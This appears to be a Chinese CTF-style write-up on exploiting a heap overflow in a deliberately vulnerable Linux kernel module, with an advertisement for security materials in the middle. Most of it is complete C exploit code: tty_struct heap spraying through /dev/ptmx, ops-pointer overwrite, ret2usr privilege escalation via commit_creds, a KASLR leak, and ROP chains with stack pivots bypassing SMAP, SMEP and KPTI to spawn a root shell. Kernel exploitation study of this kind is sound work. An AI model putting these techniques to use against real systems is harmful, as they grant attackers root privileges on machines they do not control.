Linux内核之堆溢出的利用

前言

用户进程会通过malloc等函数进行动态内存分配相应的内核也有一套动态的内存分配机制。

内核中的内存分配

有两种类型的计算机并且使用不同的方法管理物理内存

  • UMA计算机:每个处理器访问内存的速度一直

  • NUMA计算机:每个处理器访问自己的本地内存速度较快,但是访问其他处理器的本地内存会相对较慢

首先将内存划为为结点,每个结点与一个处理器进行关联,因此上图的与处理器关联的内存都被视作为结点。结点使用pg_data_t结构体进行表示。并且结点与结点之间是通过链表进行链接的。

结点进一步划分为多个域,域使用zone_type枚举类型表示。

域进一步细化为页为单位的内存进行划分。页则使用page数据结构进行表示。

虽然内核中使用了伙伴算法对页框进行管理,但是由于页的单位一般是4096,倘若只想申请部分内存,但是直接分配一页的大小会浪费资源。因此内核使用了slab分配器进行小内存的分配。

帮助网安学习,全套资料S信领取:

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC漏洞分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

slab大致流程如下。

slab不仅仅是作为分配器还有缓存的功能,因此在使用kmalloc时会首先检索kmem_cache是否存在空闲的内存,这一点与用户态下的ptmalloc很相似。

LK01-2

项目地址 :github.com/h0pe-ay/Ker...

module_open

在执行open模块时会使用kmalloc进行动态内存分配,因此会使用到上述所说的slab分配器。

scss 复制代码
static int module_open(struct inode *inode, struct file *file){  printk(KERN_INFO "module_open called\n");​  g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);  if (!g_buf) {    printk(KERN_INFO "kmalloc failed");    return -ENOMEM;  }​  return 0;}

module_read

在执行read模块时会从内核堆地址中拷贝信息到用户空间中去,但是这里的拷贝没有对长度做限制,因此存在着越界读的漏洞。

arduino 复制代码
static ssize_t module_read(struct file *file,                           char __user *buf, size_t count,                           loff_t *f_pos){  printk(KERN_INFO "module_read called\n");​  if (copy_to_user(buf, g_buf, count)) {    printk(KERN_INFO "copy_to_user failed\n");    return -EINVAL;  }​  return count;}

module_write

在执行write模块时会将用户空间的数据拷贝到内核堆空间中,由于没有做长度的限制,因此存在着内核堆溢出的漏洞。

arduino 复制代码
static ssize_t module_write(struct file *file,                            const char __user *buf, size_t count,                            loff_t *f_pos){  printk(KERN_INFO "module_write called\n");​  if (copy_from_user(g_buf, buf, count)) {    printk(KERN_INFO "copy_from_user failed\n");    return -EINVAL;  }​  return count;}

堆溢出的利用

由于内核分配动态内存是通过slab分配器,slab分配器会优先从缓存中取出,题目给会通过open模块分配一个0x400的堆块。因此会从kmalloc-1024中取出堆块。可以看到0x400的堆块能够写入超过0x400的数据。但是这种堆溢出不会影响程序正常执行。这是因为紧接着的堆块没有存储函数指针。

因此如果需要劫持程序的执行流程,则需要使得存在一个堆块内部存放着函数指针并且在构造的堆块的后方。而内核的许多重要的结构体都是通过堆进行分配,而且这些结构体需要经常创建与释放,因此这些结构体也会通过kmalloc-1024中取出堆块。因此在内核堆块的利用需要熟悉内核中一些包含函数指针的对象的大小。而tty_struct的结构体的大小刚好处于kmalloc-1024的范围内。

arduino 复制代码
struct tty_struct {    int magic;    struct kref kref;    struct device *dev; /* class device or NULL (e.g. ptys, serdev) */    struct tty_driver *driver;    const struct tty_operations *ops;    ...} __randomize_layout;

可以看到tty_struct结构体会存在ops的操作指针,对tty的操作都会调用该函数指针。

ptr--yudai-hatenablog-com.translate.goog/entry/2020/...中统计了一下常用的结构体。

由于我们不清楚在执行open模块的时候分配的堆块是否会在tty结构体的上方,因此需要使用堆喷将tty结构体充满在open模块申请的堆块的附近。

scss 复制代码
    int spray[100];    for (int i = 0; i < 50; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);    int fd = open("/dev/holstein", O_RDWR);    for (int i = 50; i < 100; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
  • ptmx文件是用于打开伪终端主设备文件,该文件则是通过上述的tty结构体进行表示

  • O_NOCTTY则是用于防止当前进程将打开的终端设备作为其控制终端

对过上述操作在能使得open模块操作分配的堆空间是在tty结构体所分配的空间的周围的。如下图所示能够看到将tty结构体分配在g_bufopen模块分配的堆块)的下方

该操作指针中存放着许多函数地址

将该结构体覆盖为无效值

通过ioctl操作触发函数指针

ini 复制代码
ioctl(spray[i], 0x1234, 0x1234);

ioctl 是一个用于在Linux系统中进行设备控制和配置的系统调用,它允许用户态程序与设备驱动程序进行通信以进行各种操作。因此执行ioctl函数实际是会调用ops指向的函数表。但是接着执行内核并不会发生崩溃,这里我猜测是在ioctl函数执行流程中会检测ops指针的有效性。

但是单单修改函数表内的函数地址,则会引起崩溃。

崩溃地址正是我们修改的值。

因此梳理一下针对该题堆溢出利用的条件

  1. 利用堆喷使得漏洞堆块处于tty结构体堆块的上方

  2. 利用堆溢出将ops指针修改为可控的内核堆地址并在该地址中填充函数地址

没有开启保护

经过测试,在没有开启kaslr的情况下g_buf对应的堆地址也是会改变的,因此需要进行泄露计算出g_buf的地址。由于g_buf处于内核地址,因此可以触发ioctl,这里我使用了用户空间的堆块地址,但是无法触发,因此猜测ioctl需要检验ops指针值是否为内核地址。

并且在tty结构体中存储了堆块的地址,因此可以通过越界读泄露堆地址。

通过read模块泄露堆地址

css 复制代码
...    char buf[0x500];    read(fd, buf, 0x500);    unsigned long * p = (unsigned long *)&buf;    for (int i = 0; i < 0xa0; i++)        printf("[0x%x] 0x%lx\n",i ,p[i]);...

这里需要注意的是我们尽可能选择与g_buf地址相近的堆地址,因为slab分配器会分配连续的内存,因此在附近的地址可以计算出真正的偏移。

泄露出堆地址后还需要解决一个问题是ioctl函数会执行函数表的哪个函数指针,因此我们需要劫持ops指针为g_buf,然后在g_buf填充有规律的垃圾数据,判断函数指针的位置。

scss 复制代码
    ...    unsigned long heap = p[0x9f];    printf("heap:0x%lx\n", heap);    unsigned long g_buf = heap - 0x4f8 ;    printf("g_buf:0x%lx\n", g_buf);    for (unsigned long i = 0; i < 0x80; i++)        p[i] = i;    *(unsigned long *)&buf[0x418] = g_buf;    write(fd, buf, 0x500);    for (int i = 0; i < 100; i++) {       ioctl(spray[i], 0xdeadbeef, 0xcafebabe);    }      ...

可以看到在函数表中的偏移为0xc,该地址填充的值会被用作处理ioctl函数的操作。

由于题目没有开启任何保护,接下来就是ret2usr即可

run.sh

javascript 复制代码
#!/bin/shqemu-system-x86_64 \    -m 64M \    -nographic \    -kernel bzImage \    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nosmap nosemp nokaslr nopti" \    -no-reboot \    -cpu qemu64 \    -smp 1 \    -monitor /dev/null \    -initrd initramfs.cpio.gz\    -net nic,model=virtio \    -net user \    -s

exp

这里需要对所有伪终端执行ioctl操作,这是因为我们不能判断具体覆盖了哪个tty的结构体。

sql 复制代码
#include <stdio.h>#include <ctype.h>#include <fcntl.h>#include <unistd.h>#include <sys/stat.h>#include <string.h>#include <stdlib.h>​/*0xffffffff81074650 T prepare_kernel_cred0xffffffff810744b0 T commit_creds*/​unsigned long user_cs, user_sp, user_ss, user_rflags;void save_user_land(){    __asm__(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );    puts("[*] Saved userland registers");    printf("[#] cs: 0x%lx \n", user_cs);    printf("[#] ss: 0x%lx \n", user_ss);    printf("[#] rsp: 0x%lx \n", user_sp);    printf("[#] rflags: 0x%lx \n\n", user_rflags);}​​void backdoor(){    printf("****getshell****");    system("id");    system("/bin/sh");}​unsigned long user_rip = (unsigned long)backdoor;​void lpe(){    __asm(        ".intel_syntax noprefix;"        "movabs rax, 0xffffffff81074650;" //prepare_kernel_cred        "xor rdi, rdi;"        "call rax;" //prepare_kernel_cred(0);        "mov rdi, rax;"        "mov rax, 0xffffffff810744b0;" //commit_creds        "call rax;"        "swapgs;"           "mov r15, user_ss;"        "push r15;"        "mov r15, user_sp;"        "push r15;"        "mov r15, user_rflags;"        "push r15;"        "mov r15, user_cs;"        "push r15;"        "mov r15, user_rip;"        "push r15;"        "iretq;"        ".att_syntax;"    );}​​int main() {    save_user_land();    int spray[100];    for (int i = 0; i < 50; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);    int fd = open("/dev/holstein", O_RDWR);    for (int i = 50; i < 100; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);    char buf[0x500];    read(fd, buf, 0x500);    unsigned long * p = (unsigned long *)&buf;    //for (int i = 0; i < 0xa0; i++)    //printf("[0x%x] 0x%lx\n",i ,p[i]);    unsigned long heap = p[0x9f];    printf("heap:0x%lx\n", heap);    unsigned long g_buf = heap - 0x4f8 ;    printf("g_buf:0x%lx\n", g_buf);    p[0xc] = lpe;    *(unsigned long *)&buf[0x418] = g_buf;    write(fd, buf, 0x500);    for (int i = 0; i < 100; i++) {       ioctl(spray[i], 0xdeadbeef, 0xcafebabe);    }        }

开启KASLR

run.sh

javascript 复制代码
#!/bin/shqemu-system-x86_64 \    -m 64M \    -nographic \    -kernel bzImage \    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nosmap nosemp nopti kaslr" \    -no-reboot \    -cpu qemu64 \    -smp 1 \    -monitor /dev/null \    -initrd initramfs.cpio.gz\    -net nic,model=virtio \    -net user \    -s

exp

开启KASLR的解法与没开启保护的情况基本一致,只需要多泄露一个内核地址即可。

sql 复制代码
#include <stdio.h>#include <ctype.h>#include <fcntl.h>#include <unistd.h>#include <sys/stat.h>#include <string.h>#include <stdlib.h>​​#define prepare_kernel_cred_offset 0x74650#define commit_creds_offset 0x744b0​unsigned long kernel_base;unsigned long prepare_kernel_cred;unsigned long commit_creds;​unsigned long user_cs, user_sp, user_ss, user_rflags;void save_user_land(){    __asm__(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );    puts("[*] Saved userland registers");    printf("[#] cs: 0x%lx \n", user_cs);    printf("[#] ss: 0x%lx \n", user_ss);    printf("[#] rsp: 0x%lx \n", user_sp);    printf("[#] rflags: 0x%lx \n\n", user_rflags);}​​void backdoor(){    printf("****getshell****");    system("id");    system("/bin/sh");}​unsigned long user_rip = (unsigned long)backdoor;​void lpe(){    prepare_kernel_cred = kernel_base + prepare_kernel_cred_offset;    commit_creds = kernel_base + commit_creds_offset;    __asm(        ".intel_syntax noprefix;"        "movabs rax, prepare_kernel_cred;" //prepare_kernel_cred        "xor rdi, rdi;"        "call rax;" //prepare_kernel_cred(0);        "mov rdi, rax;"        "mov rax, commit_creds;" //commit_creds        "call rax;"        "swapgs;"           "mov r15, user_ss;"        "push r15;"        "mov r15, user_sp;"        "push r15;"        "mov r15, user_rflags;"        "push r15;"        "mov r15, user_cs;"        "push r15;"        "mov r15, user_rip;"        "push r15;"        "iretq;"        ".att_syntax;"    );}​​int main() {    save_user_land();    int spray[100];    for (int i = 0; i < 50; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);    int fd = open("/dev/holstein", O_RDWR);    for (int i = 50; i < 100; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);    char buf[0x500];    read(fd, buf, 0x500);    unsigned long * p = (unsigned long *)&buf;    //for (int i = 0; i < 0xa0; i++)    //  printf("[0x%x] 0x%lx\n",i ,p[i]);    unsigned long heap = p[0x9f];    printf("heap:0x%lx\n", heap);    unsigned long g_buf = heap - 0x4f8 ;    printf("g_buf:0x%lx\n", g_buf);    unsigned long kernel_addr = p[0x83];    printf("kernel_addr:0x%lx\n", kernel_addr);    kernel_base = kernel_addr - 0xc38880;    printf("kernel_base:0x%lx\n", kernel_base);    p[0xc] = lpe;    *(unsigned long *)&buf[0x418] = g_buf;    write(fd, buf, 0x500);    for (int i = 0; i < 100; i++) {       ioctl(spray[i], 0xdeadbeef, 0xcafebabe);    }       }

开启SMAP与SMEP

SMAPSMEP会防止内核访问与执行用户空间的地址,但是由于该题本身是修改在堆块内的指针值无法在堆块内部构造ROP链,那么想要执行ROP链那么需要将栈迁移到堆上。但是由于我们的输入不在栈上,而是在堆上,无法通过pop rbp;ret;mov rsp,rbp去修改栈顶值。这里需要注意到,当通过ioctl函数时,我们的参数值实际也会被传递进去。如下图所示。

因此需要通过根据这几个寄存器修改栈顶的操作

bash 复制代码
cat g | grep -E "push rdx;.* pop rsp;.* ret"

gadget可以将rax的值移动到rdi的值,但是需要经过rep movsq qword ptr [rdi], qword ptr [rsi]; ret;,该汇编语言实际是循环将rsi指向的值存放到rdi中,并且循环此为由rcx寄存器指定,因此将rcx寄存器设置为0即可跳过该操作。

run.sh

javascript 复制代码
#!/bin/shqemu-system-x86_64 \    -m 64M \    -nographic \    -kernel bzImage \    -append "console=ttyS0 loglevel=3 oops=panic panic=-1  nopti kaslr" \    -no-reboot \    -cpu qemu64,+smap,+smep \    -smp 1 \    -monitor /dev/null \    -initrd initramfs.cpio.gz\    -net nic,model=virtio \    -net user \    -s

exp

less 复制代码
#include <stdio.h>#include <ctype.h>#include <fcntl.h>#include <unistd.h>#include <sys/stat.h>#include <string.h>#include <stdlib.h>​/*0xffffffff810d748d: pop rdi; ret; 0xffffffff81022dff: iretq; pop rbp; ret;0xffffffff8162668e: swapgs; ret;0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;0xffffffff8162707b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;0xffffffff8109c39e: pop rsi; ret;0xffffffff8113c1c4: pop rcx; ret;*/​#define prepare_kernel_cred_offset 0x74650#define commit_creds_offset 0x744b0#define pop_rdi_offset 0xd748d#define iretq_pop_rbp_offset 0x22dff#define push_rax_ret_offset 0x24819 #define push_rdx_pop_rsp_ret_offset 0x3a478a#define mov_rdi_rax_ret_offset 0x62707b#define swapgs 0x62668e#define pop_rsi 0x9c39e#define pop_rcx 0x13c1c4​unsigned long kernel_base;unsigned long prepare_kernel_cred;unsigned long commit_creds;unsigned long user_cs, user_sp, user_ss, user_rflags;​void save_user_land(){    __asm__(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );    puts("[*] Saved userland registers");    printf("[#] cs: 0x%lx \n", user_cs);    printf("[#] ss: 0x%lx \n", user_ss);    printf("[#] rsp: 0x%lx \n", user_sp);    printf("[#] rflags: 0x%lx \n\n", user_rflags);}​​void backdoor(){    printf("****getshell****");    system("id");    system("/bin/sh");}​​int main() {    save_user_land();    int spray[100];    for (int i = 0; i < 50; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);    int fd = open("/dev/holstein", O_RDWR);    for (int i = 50; i < 100; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);    char buf[0x500];    read(fd, buf, 0x500);    unsigned long * p = (unsigned long *)&buf;    //for (int i = 0; i < 0xa0; i++)    //  printf("[0x%x] 0x%lx\n",i ,p[i]);    unsigned long heap = p[0x9f];    printf("heap:0x%lx\n", heap);    unsigned long g_buf = heap - 0x4f8 ;    printf("g_buf:0x%lx\n", g_buf);    unsigned long kernel_addr = p[0x83];    printf("kernel_addr:0x%lx\n", kernel_addr);    kernel_base = kernel_addr - 0xc38880;    printf("kernel_base:0x%lx\n", kernel_base);    p[0x22] = pop_rdi_offset + kernel_base;    p[0x23] = 0;    p[0x24] = prepare_kernel_cred_offset + kernel_base;    p[0x25] = pop_rcx + kernel_base;    p[0x26] = 0;    p[0x27] = mov_rdi_rax_ret_offset + kernel_base;    p[0x28] = commit_creds_offset + kernel_base;    p[0x29] = swapgs + kernel_base;    p[0x2a] = iretq_pop_rbp_offset + kernel_base;    p[0x2b] = (unsigned long)backdoor;    p[0x2c] = user_cs;    p[0x2d] = user_rflags;    p[0x2e] = user_sp;    p[0x2f] = user_ss;        *(unsigned long *)&buf[0x418] = g_buf;    p[0xc] = p[0xc] = kernel_base + push_rdx_pop_rsp_ret_offset;    write(fd, buf, 0x500);    for (int i = 0; i < 100; i++) {       ioctl(spray[i], g_buf+0x100, g_buf+0x100);    }       }

开启kpti

run.sh

javascript 复制代码
#!/bin/shqemu-system-x86_64 \    -m 64M \    -nographic \    -kernel bzImage \    -append "console=ttyS0 loglevel=3 oops=panic panic=-1  kpti=1  kaslr" \    -no-reboot \    -cpu qemu64,+smap,+smep \    -smp 1 \    -monitor /dev/null \    -initrd initramfs.cpio.gz\    -net nic,model=virtio \    -net user \    -s

exp

kpti的绕过也与普通的一致,使用swapgs_restore_regs_and_return_to_usermodegadget即可

less 复制代码
#include <stdio.h>#include <ctype.h>#include <fcntl.h>#include <unistd.h>#include <sys/stat.h>#include <string.h>#include <stdlib.h>​/*0xffffffff810d748d: pop rdi; ret; 0xffffffff81022dff: iretq; pop rbp; ret;0xffffffff8162668e: swapgs; ret;0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;0xffffffff8162707b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;0xffffffff8109c39e: pop rsi; ret;0xffffffff8113c1c4: pop rcx; ret;0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode*/​#define prepare_kernel_cred_offset 0x74650#define commit_creds_offset 0x744b0#define pop_rdi_offset 0xd748d#define iretq_pop_rbp_offset 0x22dff#define push_rax_ret_offset 0x24819 #define push_rdx_pop_rsp_ret_offset 0x3a478a#define mov_rdi_rax_ret_offset 0x62707b#define swapgs 0x62668e#define pop_rsi 0x9c39e#define pop_rcx 0x13c1c4#define swapgs_restore_regs_and_return_to_usermode 0x800e10​unsigned long kernel_base;unsigned long prepare_kernel_cred;unsigned long commit_creds;unsigned long user_cs, user_sp, user_ss, user_rflags;​void save_user_land(){    __asm__(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );    puts("[*] Saved userland registers");    printf("[#] cs: 0x%lx \n", user_cs);    printf("[#] ss: 0x%lx \n", user_ss);    printf("[#] rsp: 0x%lx \n", user_sp);    printf("[#] rflags: 0x%lx \n\n", user_rflags);}​​void backdoor(){    printf("****getshell****");    system("id");    system("/bin/sh");}​​int main() {    save_user_land();    int spray[100];    for (int i = 0; i < 50; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);    int fd = open("/dev/holstein", O_RDWR);    for (int i = 50; i < 100; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);    char buf[0x500];    read(fd, buf, 0x500);    unsigned long * p = (unsigned long *)&buf;    //for (int i = 0; i < 0xa0; i++)    //  printf("[0x%x] 0x%lx\n",i ,p[i]);    unsigned long heap = p[0x9f];    printf("heap:0x%lx\n", heap);    unsigned long g_buf = heap - 0x4f8 ;    printf("g_buf:0x%lx\n", g_buf);    unsigned long kernel_addr = p[0x83];    printf("kernel_addr:0x%lx\n", kernel_addr);    kernel_base = kernel_addr - 0xc38880;    printf("kernel_base:0x%lx\n", kernel_base);    p[0x22] = pop_rdi_offset + kernel_base;    p[0x23] = 0;    p[0x24] = prepare_kernel_cred_offset + kernel_base;    p[0x25] = pop_rcx + kernel_base;    p[0x26] = 0;    p[0x27] = mov_rdi_rax_ret_offset + kernel_base;    p[0x28] = commit_creds_offset + kernel_base;    p[0x29] = swapgs_restore_regs_and_return_to_usermode + kernel_base + 0x16;    p[0x2a] = 0;    p[0x2b] = 0;    p[0x2c] = (unsigned long)backdoor;    p[0x2d] = user_cs;    p[0x2e] = user_rflags;    p[0x2f] = user_sp;    p[0x30] = user_ss;        *(unsigned long *)&buf[0x418] = g_buf;    p[0xc] = p[0xc] = kernel_base + push_rdx_pop_rsp_ret_offset;    write(fd, buf, 0x500);    for (int i = 0; i < 100; i++) {       ioctl(spray[i], g_buf+0x100, g_buf+0x100);    }       }
相关推荐
Martin -Tang21 分钟前
vite和webpack的区别
前端·webpack·node.js·vite
迷途小码农零零发21 分钟前
解锁微前端的优秀库
前端
王解1 小时前
webpack loader全解析,从入门到精通(10)
前端·webpack·node.js
我不当帕鲁谁当帕鲁1 小时前
arcgis for js实现FeatureLayer图层弹窗展示所有field字段
前端·javascript·arcgis
那一抹阳光多灿烂1 小时前
工程化实战内功修炼测试题
前端·javascript
放逐者-保持本心,方可放逐2 小时前
微信小程序=》基础=》常见问题=》性能总结
前端·微信小程序·小程序·前端框架
毋若成4 小时前
前端三大组件之CSS,三大选择器,游戏网页仿写
前端·css
舞动CPU4 小时前
linux c/c++最高效的计时方法
linux·运维·服务器
红中马喽4 小时前
JS学习日记(webAPI—DOM)
开发语言·前端·javascript·笔记·vscode·学习
Black蜡笔小新5 小时前
网页直播/点播播放器EasyPlayer.js播放器OffscreenCanvas这个特性是否需要特殊的环境和硬件支持
前端·javascript·html